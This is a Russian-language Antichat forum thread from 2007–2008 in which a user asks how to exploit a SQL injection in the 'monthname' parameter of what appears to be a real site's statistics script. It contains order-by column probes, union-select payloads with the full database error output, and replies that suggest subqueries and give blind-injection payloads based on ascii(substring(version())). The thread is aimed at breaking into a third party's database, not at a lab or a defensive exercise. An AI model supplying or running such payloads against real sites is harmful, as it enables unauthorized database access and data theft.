HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Вопрос специалистам в sql-injection
  #1  
Старый 30.12.2007, 23:10
JenJen
Новичок
Регистрация: 02.11.2007
Сообщений: 29
С нами: 9749602

Репутация: 9
По умолчанию Вопрос специалистам в sql-injection

Всем привет. Такой вопрос:
есть sql-injection. При запросе при добавлении к уязвимому параметру:

monthname=december' order by 8/*

выдаётся следующая ошибка:
Код:
Error:  Запрос: SELECT SUM(uhits) AS suhits, SUM(vhits) AS svhits, SUM(installs) AS sinstalls, SUM(total) AS stotal, SUM(referals) AS sreferals, SUM(portal) AS sportal, SUM(bonus_inst) AS sbonus_inst FROM stats WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' order by 8/*'  Ошибка: Unknown column '8' in 'order clause'
При вводе:
monthname=december' order by 7/* ошибки не выдается, естественно выводится нормальная страница, получается вроде как 7 полей. Однако при

monthname=december' union select 1,2,3,4,5,6,7/*

выводится ошибка вида:

Код:
Error:  Запрос: SELECT * FROM stats a WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' union select 1,2,3,4,5,6,7/*' ORDER by -date  Ошибка: The used SELECT statements have a different number of columns
Эта же ошибка выводится во всех запросах по типу

monthname=december' union select в кол-ве колонок от 1 до 60, дальше я не пробовал.

Я так понял тут следуют несколько один за одним запросов, как с этим работать?

Надеюсь на Ваши ответы )

Апд:модеры, я запостил здесь потому что ситуация не еденичная и вообще не очень широко освещена в статьях. Тема о том, что и как делать если идут подряд несколько запросов.

Последний раз редактировалось JenJen; 30.12.2007 в 23:39..
 
Ответить с цитированием

  #2  
Старый 30.12.2007, 23:23
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами: 9976706

Репутация: 1934


По умолчанию

monthname=december' union select 111,222,333,444,555,666,777/*
На странице или в коде страницы есть такие значения при таком запросе?
 
Ответить с цитированием

  #3  
Старый 30.12.2007, 23:37
JenJen
Новичок
Регистрация: 02.11.2007
Сообщений: 29
С нами: 9749602

Репутация: 9
По умолчанию

Цитата:
Сообщение от AFoST  
monthname=december' union select 111,222,333,444,555,666,777/*
На странице или в коде страницы есть такие значения при таком запросе?
Никаких, выводится исключительно текст ошибки и всё. Если б выводилось я б не задавал вопросов.
 
Ответить с цитированием

  #4  
Старый 30.12.2007, 23:47
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами: 9976706

Репутация: 1934


По умолчанию

Пока больше никаких идей нет
 
Ответить с цитированием

  #5  
Старый 30.12.2007, 23:50
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию

Чё вы ему тут насоветовали? ппц
У тебя в скрипте 2 запроса с одной переменной, правильное кол-во столбцов тебе подобрать не получится, ибо один из запросо всегда будет не верный
В твоём случае только подзапросы юзать
 
Ответить с цитированием

  #6  
Старый 30.12.2007, 23:52
JenJen
Новичок
Регистрация: 02.11.2007
Сообщений: 29
С нами: 9749602

Репутация: 9
По умолчанию

Цитата:
Сообщение от Spyder  
Чё вы ему тут насоветовали? ппц
У тебя в скрипте 2 запроса с одной переменной, правильное кол-во столбцов тебе подобрать не получится, ибо один из запросо всегда будет не верный
В твоём случае только подзапросы юзать
Да, спасибо я уже это понял.
Может расскажешь как их правильно юзать или дашь ссылку?
 
Ответить с цитированием

  #7  
Старый 31.12.2007, 17:16
Nea7
Участник форума
Регистрация: 08.09.2007
Сообщений: 211
С нами: 9828237

Репутация: 778
По умолчанию

Цитата:
Сообщение от JenJen  
Да, спасибо я уже это понял.
Может расскажешь как их правильно юзать или дашь ссылку?
http://forum.antichat.ru/showpost.php?p=537435&postcount=567
брошюрко -> статья ZaCo
 
Ответить с цитированием

  #8  
Старый 31.12.2007, 23:48
Серенький
Banned
Регистрация: 13.04.2007
Сообщений: 123
С нами: 10041506

Репутация: 572
По умолчанию

учти, что в мускулах <4.2 подзапросы не поддерживаются.
 
Ответить с цитированием

  #9  
Старый 01.01.2008, 02:24
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами: 10516826

Репутация: 3742


По умолчанию

не 4.2, а 4.1.. то есть подзапросы появились в 4.1..

monthname=december+and+ascii(substring(version(),1 ,1))>0/*
monthname=december+and+ascii(substring(version(),1 ,1))<0/*

проверь разные ли ответы
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #10  
Старый 01.01.2008, 04:03
Серенький
Banned
Регистрация: 13.04.2007
Сообщений: 123
С нами: 10041506

Репутация: 572
По умолчанию

Да, спасибо за поправку,
с Наступившим.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.